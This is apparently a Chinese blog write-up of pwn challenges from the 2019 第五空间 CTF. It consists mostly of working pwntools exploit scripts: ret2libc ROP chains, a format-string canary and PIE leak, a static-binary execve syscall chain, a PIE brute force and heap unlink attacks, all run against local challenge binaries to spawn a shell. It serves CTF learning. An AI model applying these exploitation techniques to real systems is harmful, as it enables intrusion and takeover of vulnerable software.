2019第五空间pwn题解

於讴

首先是一个简单的逆向分析

只要大于或等于1000即可,接下来就是一个很简单的栈溢出的ROP利用:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
r = process('./pwn')
offset = 0x18
r.sendline('1000')
pop_rdi_ret = 0x0000000000414fc3
elf = ELF('./pwn')
main_addr = 0x0000000004007C3
libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.symbols['puts']
print hex(puts_plt)
'''
rop = [
    pop_rdi_ret,
    libc_start_main_got,
    puts_plt,
    main_addr,
]
'''
#gdb.attach(r,'b *0x0000000004007E1\nc')

payload1 = offset * 'a' + p64(pop_rdi_ret) + p64(libc_start_main_got) + p64(puts_plt) + p64(main_addr)
r.recvuntil('OH, WHY ARE YOU SO GOOD?\n')
r.sendline(payload1)
libc_start_main_addr = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
print hex(libc_start_main_addr)
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
r.sendline('1001')

payload2 = offset * 'a' + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr)
r.recvuntil('OH, WHY ARE YOU SO GOOD?\n')
r.sendline(payload2)
r.interactive()

副墨

这个题目保护全开,属实是有点夸张的,但是漏洞也是比较明显吧?
首先见面的就是一个伪随机数的碰撞,然后我不得不吐槽一下了,题目给了格式化字符串漏洞,我们可以泄露canary 同时破解pie的保护,但是坑逼的是题目里面的system函数竟然没给’/bin/sh’字符串,而且泄露的时候不知道为啥,最多泄露的长度就是2个’%p’,那就坑逼了,你要重复泄露两次,一次拿到canary + codebase 一次拿到 一个函数的实际地址来泄露libc 进而得到libc里面的 ‘/bin/sh’字符串 。。。属实是需要很长时间的。。。。(我坑逼的调试了一整个下午。。。)
值得注意的是:LibcSearcher碰撞出来的libc不全是对的,要换着多执行几次脚本才能getshell啊!

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from ctypes import *
from LibcSearcher import LibcSearcher
import time
context.log_level='debug'
r = process('./bf')
name = '%p'
name1 = '#%17$p#%18$p'
r.sendline('1')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
time_now = int(time.time())
libc.srand(time_now)
r.recvuntil('your name : \n')
r.sendline(name1)
#gdb.attach(r,'b *0x555555554d12\nC')
for i in range(10):
    payload = libc.rand() % 0x1869F + 1
    r.recvuntil('Round '+str(i)+' Now guess:')
    r.sendline(str(payload))
get1 = r.recv()
code1 = hex(int(get1[29:43],16))
cookie1 = int(get1[10:28],16)
print hex(int(code1,16))
print hex(cookie1)
codebase = int(code1,16) - 0xd50
main_addr = codebase + 0xabf
payload1 = 'a' * 0x34 + p64(cookie1) + 'a' * 8 +p64(main_addr)
r.sendline(payload1)
r.recvuntil('Are you sure want to play the game?\n')
r.sendline('1')
r.recvuntil('your name : \n')
gdb.attach(r,'b *0x555555554d12\nC')
r.sendline(name)
libc.srand(int(time.time()))
for i in range(10):
    payload = libc.rand() % 0x1869F + 1
    r.recvuntil('Round '+str(i)+' Now guess:')
    r.sendline(str(payload))

get = r.recv()[9:24]
_IO_2_1_stdout_addr = int(get,16) - 0x83
#code = hex(int(get[10:28],16))
#cookie = int(get[10:28],16)
#cookie = hex(int(get[29:43],16))
#libc_start_main = int(code,16) - 0xf0
print 'stdout : ' +  hex(_IO_2_1_stdout_addr)
libc1 = LibcSearcher('_IO_2_1_stdout_',_IO_2_1_stdout_addr)
libcbase = _IO_2_1_stdout_addr - libc1.dump('_IO_2_1_stdout_')
system_addr = libcbase + libc1.dump('system')
print 'system_addr : ' + hex(system_addr)
binsh_addr = libcbase + libc1.dump('str_bin_sh')
print 'binsh_addr : ' + hex(binsh_addr)
pop_rdi_ret = codebase + 0x0000000000000db3
print 'pop_rdi_ret : ' + hex(pop_rdi_ret)
payload1 = 'a' * 0x34 + p64(cookie1) + 'a' * 8 +p64(pop_rdi_ret)+p64(binsh_addr) +  p64(system_addr) 
r.sendline(payload1)
r.interactive()

纪念一下:

坐忘

这个题目最初看到有malloc第一时间想到的肯定是堆的题目,但是这是个栈上的题目

这里的scanf存在栈溢出,同时puts函数可以帮助我们泄露出栈里面的内容,这就使得canary的保护被成功破解,但是这是个静态编译的文件,我们想到的自然就是构造系统调用的rop来getshell,说实话这个rop的构造算是很复杂的了。。。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from base64 import b64encode
context.log_level = 'debug'
r = process('./pwn9')
r.recvuntil('>\n')
#gdb.attach(r,'b *0x0000000004011AC\nc')
payload1 = 'a' * 9
r.sendline(b64encode(payload1))
r.recvuntil('aaaaaaaaa')
canary = u64('\x00'+r.recv(7))
print hex(canary)
r.recvuntil('continue ?')
r.sendline('a')
r.recvuntil('>\n')
p2 = ''
p2 += p64(0x0000000000401f57) # pop rsi ; ret
p2 += p64(0x00000000006cb080) # @ .data
p2 += p64(0x00000000004715e4) # pop rax ; ret
p2 += '/bin//sh'
p2 += p64( 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p2 += p64( 0x0000000000401f57) # pop rsi ; ret
p2 += p64( 0x00000000006cb088) # @ .data + 8
p2 += p64( 0x0000000000426baf) # xor rax, rax ; ret
p2 += p64( 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p2 += p64( 0x0000000000401e36) # pop rdi ; ret
p2 += p64( 0x00000000006cb080) # @ .data
p2 += p64( 0x0000000000401f57) # pop rsi ; ret
p2 += p64( 0x00000000006cb088) # @ .data + 8
p2 += p64( 0x00000000004433e6) # pop rdx ; ret
p2 += p64( 0x00000000006cb088) # @ .data + 8
p2 += p64( 0x0000000000426baf) # xor rax, rax ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000046f140) # add rax, 1 ; ret
p2 += p64( 0x000000000044d821) # syscall
gdb.attach(r,'b *0x0000000004011AC\nc')
payload12 = 'a' * 8 + p64(canary) + 'a' * 8 + p2
r.sendline(b64encode(payload12))
r.sendline('no')
r.interactive()

拈花

相比于前面的题目,这个就是新手的练习吧?直接一个栈溢出泄露libc然后执行system,最后getshell ,一套操作行云流水

# coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
r = process('./pwn11')
elf = ELF('./pwn11')
puts_plt = elf.symbols['puts']
pop_rdi_ret = 0x00000000004012ab
puts_got = elf.got['puts']
main_addr = 0x000000000401162
offset = 40
r.recvuntil('please input your name\n')
r.sendline('aaaa')
r.recvuntil("Let's start a game,can you guess the key?\n")
#gdb.attach(r)
payload1 = offset * 'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload1)
r.recvuntil('fail!\n')
puts_addr = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
print hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
r.recvuntil('please input your name\n')
r.sendline('aaaa')
payload2 = offset * 'a' + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(main_addr)
r.recvuntil("Let's start a game,can you guess the key?\n")
r.sendline(payload2)
r.interactive()

一苇

这个题目开了pie但是给了后门,那几本断定是简单的pie爆破了,无奈python水平还好像不太可以,这个脚本可以直接帮助我们getshell , 但是只后你想关这个linux 终端可能必须用鼠标点那个 X 了,用不了快捷键。。。。无语奥。。。谁有更好的办法可以call我啊,当然1/16的几率,手动也可以。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import random
offset = 32 + 8
list1 = ["\x0a","\x1a","\x2a","\x3a","\x4a","\x5a","\x6a","\x7a","\x8a","\x9a","\xaa","\xba","\xca","\xda","\xea","\xfa"]
while True:
    try:
        r = process('./pwn13')
        r.recvuntil('your choice:')
        r.sendline('1')
        r.recvuntil('input massage\n')
        payload = offset * 'a' + '\x50' + random.sample(list1,1)[0]
        r.sendline(payload)
        r.recv()
        r.recv()
        r.interactive()
    except Exception as e:
        r.close()
        print e

正定

这是一个堆的unlink , 从下面可以看出利用的关键所在

只要改逻辑就可以了,操作很平常,只不过,最后哪个edit两次属实有点秀了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
r = process('./pwn14')
def malloc(size,text):
    r.recvuntil('Your choice : ')
    r.sendline('1')
    r.recvuntil('Size of note : ')
    r.sendline(str(size))
    r.sendafter('Content of note:',text)
def edit(idx,text,size):
    r.recvuntil('Your choice : ')
    r.sendline('2')
    r.sendlineafter('Index :',str(idx))
    r.sendlineafter('Size of note : ',str(text))
    r.sendafter('Content of note : ',size)
def delete(idx):
    r.recvuntil('Your choice : ')
    r.sendline('3')
    r.sendlineafter('Index :',str(idx))
global1 = 0x4040a0
list = 0x0000000004040C0
malloc(0x20,'aa') # 0
malloc(0x80,'bb') # 1
fake_chunk = [
    0x0,0x20,
    list - 0x18 ,list - 0x10 ,
]
payload = flat(fake_chunk) + p64(0x20) + p64(0x90)
edit(0,0x40,payload)
delete(1)
payload = 'a' * 24 +p64(0x4040a8)+p64(0x4040a0)
edit(0,len(payload),payload)
payload = p64(0x7e4)
edit(1,len(payload),payload)
r.recvuntil('Your choice : ')
r.sendline('70')
#gdb.attach(r)
#edit(0,)

r.interactive()

立雪

跟上面属实一个题目,不多说了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
r = process('./pwn15')
def new(size,text):
    r.sendlineafter('Your choice:','1')
    r.sendlineafter('Length of note:',str(size))
    r.sendafter('Content of note:',text)
def edit(idx,size,text):
    r.sendlineafter('Your choice:','2')
    r.sendlineafter('Index:',str(idx))
    r.sendlineafter('Length of note:',str(size))
    r.sendafter('Content of note:',text)
def dele(idx):
    r.sendlineafter('Your choice:','3')
    r.sendlineafter('Index:',str(idx))
data = 0x000000000602088
ptr = 0x0000000006020C0
new(0x20,'aa')
new(0x80,'aa')
fake_chunk = [
    0,0x20,
    ptr - 0x18,ptr - 0x10,
]
payload = flat(fake_chunk) + p64(0x20) + p64(0x90)
edit(0,len(payload),payload)
#gdb.attach(r)
dele(1)
payload = 0x18 * 'a' + p64(data)
edit(0,len(payload),payload)
edit(0,0x8,p64(0x7e4))
r.sendlineafter('Your choice:','2019')

r.interactive()


   转载规则


《2019第五空间pwn题解》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
汇编知识点 汇编知识点
汇编中补码转换1.补码可以先减1,然后按位取反。2.从右往左遇见第一个1不变,然后向左按位取反(符号位除外)3.对于16进制数 :取反的方法就是用15减去改数字中的每一位 :6A3D –> 95C2+1 –> 95C3 (这只是
2019-09-17
下一篇 
glibc heap Fastbin Corruption glibc heap Fastbin Corruption
基础知识: fastbin: Chunk Size <= get_max_fast()的chunk(其实就是64bits的是128bytes,32位的是64bytes) ,它们会被放在被称为fastbin的bin里面 上面的f
2019-08-16
  目录